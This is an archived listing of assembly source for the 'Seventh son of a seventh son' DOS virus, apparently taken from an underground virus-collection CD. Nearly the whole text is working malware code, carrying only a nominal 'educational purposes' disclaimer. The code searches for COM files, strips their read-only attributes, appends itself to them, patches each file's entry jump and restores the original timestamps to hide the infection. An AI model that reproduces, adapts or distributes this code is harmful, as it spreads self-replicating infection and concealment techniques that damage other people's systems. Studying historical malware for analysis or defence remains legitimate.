home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 7son.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  7.1 KB  |  239 lines

  1.  
  2. ;***********************************************************************
  3. *****
  4. ;*  Seventh son of a seventh son    version 4
  5. ;*
  6. ;*  Compile with MASM 4.0
  7. ;*  (other assemblers will probably not produce the same result)
  8. ;*
  9. ;*  Disclaimer:
  10. ;*  This file is only for educational purposes. The author takes no
  11. ;*  responsibility for anything anyone does with this file. Do not
  12. ;*  modify this file!
  13. ;***********************************************************************
  14. *****
  15.  
  16. cseg            segment
  17.                 assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  18.  
  19.                 .RADIX  16
  20.  
  21. FILELEN         equ     end - start
  22. MINTARGET       equ     1000d
  23. MAXTARGET       equ     -(FILELEN+40)
  24.  
  25.  
  26.  
  27. ;***********************************************************************
  28. *****
  29. ;*              Dummy program (infected)
  30. ;***********************************************************************
  31. *****
  32.  
  33.                 org     100
  34.  
  35. begin:          db      4Dh                     ;virus mark
  36.                 db      0E9h, 4, 0              ;jump to virus entry
  37.  
  38.  
  39. ;***********************************************************************
  40. *****
  41. ;*              Begin of the virus
  42. ;***********************************************************************
  43. *****
  44.  
  45. start:          db      0CDh,  20h, 0, 0
  46.  
  47.                 cld
  48.                 mov     si,0100h
  49.                 push    si                      ;push new IP on stack
  50.                 mov     di,si
  51.                 add     si,[si+2]               ;si -> start
  52.  
  53.                 push    si                      ;restore original begin
  54.                 movsw
  55.                 movsw
  56.                 pop     si
  57.  
  58.                 mov     ax,3300h                ;get ctrl-break flag
  59.                 int     21
  60.                 push    dx
  61.  
  62.                 cwd                             ;clear the flag
  63.                 inc     ax
  64.                 push    ax
  65.                 int     21
  66.  
  67.                 mov     ax,3524h                ;get int24 vector
  68.                 int     21
  69.                 push    bx
  70.                 push    es
  71.  
  72.                 lea     dx,[si+(offset ni24 - 0104)]  ;set new int24 
  73. vector
  74.                 mov     ah,25h
  75.                 push    ax
  76.                 int     21
  77.  
  78.                 mov     ah,2Fh                  ;get DTA adres
  79.                 int     21
  80.                 push    es
  81.                 push    bx
  82.  
  83.                 add     dx,070h                 ;set new DTA adres
  84.                 mov     ah,1Ah
  85.                 int     21
  86.                 add     dx,1Eh
  87.                 push    dx
  88.  
  89.                 lea     di,[si+(offset generation-0104)]  ;check 
  90. generation
  91.                 cmp     [di],0707h
  92.                 jne     verder
  93.  
  94.                 lea     dx,[di+2]               ;7th son of a 7th son!
  95.                 mov     ah,09h
  96.                 int     21
  97.  
  98. verder:         mov     ax,[di]                 ;update generations
  99.                 xchg    ah,al
  100.                 mov     al,1
  101.                 mov     [di],ax
  102.  
  103.                 lea     dx,[di+33d]             ;find first COM-file
  104.                 xor     cx,cx
  105.                 mov     ah,4Eh
  106. infloop:        int     21
  107.                 pop     dx
  108.                 jc      stop
  109.  
  110.                 push    dx
  111.  
  112.                 xor     cx,cx                   ;clear 
  113. read-only-arttribute
  114.                 mov     ax,4301
  115.                 int     21
  116.                 jc      return1
  117.  
  118.                 mov     ax,3D02h                ;open the file
  119.                 int     21
  120.                 jc      return1
  121.                 xchg    bx,ax
  122.  
  123.                 mov     ax,5700h                ;get file date & time
  124.                 int     21
  125.                 push    cx
  126.                 push    dx
  127.  
  128.                 mov     cx,4                    ;read begin of file
  129.                 mov     dx,si
  130.                 mov     ah,3fh
  131.                 int     21
  132.  
  133.                 cmp     byte ptr [si],4Dh       ;already infected or an 
  134. EXE?
  135.                 je      return2
  136.                 cmp     byte ptr [si],5Ah       ;or a weird EXE?
  137.                 je      return2
  138.  
  139.                 mov     al,2                    ;go to end of file
  140.                 call    seek
  141.  
  142.                 cmp     ax,MAXTARGET            ;check length of file
  143.                 jnb     return2
  144.                 cmp     ax,MINTARGET
  145.                 jbe     return2
  146.  
  147.                 push    ax
  148.                 mov     cx,FILELEN              ;write program to end of 
  149. file
  150.                 mov     ah,40h
  151.                 int     21
  152.                 cmp     ax,cx                   ;are all bytes written?
  153.                 pop     ax
  154.                 jnz     return2
  155.  
  156.                 xchg    ax,bp
  157.                 mov     al,0                    ;go to begin of file
  158.                 call    seek
  159.  
  160.                 mov     word ptr [si],0E94Dh    ;write mark and 
  161. jump-command
  162.                 mov     word ptr [si+2],bp
  163.                 mov     ah,40h
  164.                 int     21
  165.  
  166.                 inc     byte ptr [di]           ;number of next son
  167.  
  168. return2:        pop     dx                      ;restore file date & 
  169. time
  170.                 pop     cx
  171.                 mov     ax,5701h
  172.                 int     21
  173.  
  174.                 mov     ah,3Eh                  ;close the file
  175.                 int     21
  176.  
  177. return1:        mov     ah,4Fh                  ;find next file
  178.                 jmp     short infloop
  179.  
  180. stop:           pop     dx                      ;restore DTA adres
  181.                 pop     ds
  182.                 mov     ah,1Ah
  183.                 int     21
  184.  
  185.                 pop     ax                      ;restore int24 vector
  186.                 pop     ds
  187.                 pop     dx
  188.                 int     21
  189.  
  190.                 pop     ax                      ;restore ctrl-break flag
  191.                 pop     dx
  192.                 int     21
  193.  
  194.                 push    cs
  195.                 push    cs
  196.                 pop     ds
  197.                 pop     es
  198.  
  199.                 ret
  200.  
  201. seek:           mov     ah,42
  202.                 cwd
  203. int21:          xor     cx,cx
  204.                 int     21
  205.                 mov     cl,4
  206.                 mov     dx,si
  207.                 ret
  208.  
  209.  
  210. ;***********************************************************************
  211. *****
  212. ;*              Interupt handler 24
  213. ;***********************************************************************
  214. *****
  215.  
  216. ni24:           mov     al,03
  217.                 iret
  218.  
  219.  
  220. ;***********************************************************************
  221. *****
  222. ;*              Data
  223. ;***********************************************************************
  224. *****
  225.  
  226. generation      db      1,1
  227. sontxt          db      'Seventh son of a seventh son',0Dh, 0Ah, '$'
  228. filename        db      '*.COM',0
  229.                 db      'é¿░│▒'
  230.  
  231. end:
  232.  
  233. cseg            ends
  234.                 end     begin
  235.  
  236.  
  237.  
  238.  
  239.